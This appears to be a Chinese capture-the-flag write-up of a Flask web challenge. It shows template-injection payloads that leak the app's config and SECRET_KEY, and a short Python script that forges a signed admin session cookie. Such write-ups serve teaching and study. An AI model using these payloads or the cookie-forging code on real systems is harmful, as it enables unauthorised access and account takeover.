解题思路

信息收集

打开发现是这样的登陆框,信息泄露,弱口令什么的尝试一下,无果,正常注册登陆

发现需要通过admin用户登陆,并且发现有/flag这样的路由,猜测后台为python编写

抓包发现有看不懂的三段cookie,还有三个参数,猜测有可能是jwt,测试了一下也无果,猜测思路应该是找到提示,伪造cookie登陆为admin获得flag。猜测可能是flask伪造登陆常见考点了

ssti

通过测试,使用__class__或者__dict__在event_important处可以爆出相关内容

payload:__class__.__init__.__globals__

通过此获取function所处空间下可使用的module、方法以及所有变量

发现确实是使用flask模板

payload:__class__.__init__.__globals__[app].config

通过此获取配置文件信息

'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

exp

from flask import Flask
from flask.sessions import SecureCookieSessionInterface app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) @app.route('/')
def index():
print(session_serializer.dumps("admin")) index()

网上有一篇exp,涉及到session原理,具体可以看此篇讲解,我总结一下

  1. 在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作
  2. 默认的序列化方式为session_json_serializer = TaggedJSONSerializer()
  3. SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer

所以使用的是SecureCookieSessionInterface().get_signing_serializer(app).dumps

返回admin的cookie值,替换user的cookie登陆,即可获得flag

总结思路

遇到/xx此类型,想到路由,使用python作为后端代码,一般即为ssti,此题为flask安全登陆问题,通过篡改cookie,实现登陆伪造

知识点

  • flask安全漏洞

最新文章

  1. [c++] Smart Pointers
  2. android NDK debug 遇到的问题与解决方法
  3. [游戏模版11] Win32 动画 时间消息
  4. bootstrap日期选择器-datetimepicker
  5. syslog-ng-3.5.6把容器的单核cpu跑满
  6. 解决项目打包过程检出项目出现 svn:e15500错误
  7. 假面舞会[NOI2008]
  8. Java中对图片文件的类型的获取
  9. Jmeter-阶梯场景设置
  10. git 入门教程之分支策略
  11. git在Linux下的安装
  12. oracle 11 g release 2 安装
  13. MQTT——取消订阅报文和断开连接报文
  14. java四种访问权限符
  15. jquery判断设备是否是手机
  16. 25.安装配置phantomjs
  17. Linux本地解析文件/etc/hosts说明【原创】
  18. jqGrid遍历所有行及获取某一行数据
  19. JPQL和SQL的比较
  20. SpringBoot idea maven打包war及运行war包

热门文章

  1. ethtool 设置网卡接收哈希
  2. asp.net Core3.1自定义权限体系-菜单和操作按钮权限
  3. Http请求-okhttp3基本用法
  4. Lambda 表达式推演全过程
  5. AtCoder Beginner Contest 177 题解
  6. 前端测试框架 Jest
  7. C#显示百度地图API
  8. unity3d android动态更新dll
  9. Web最最基础2
  10. 分享一款知识库平台系统-wcp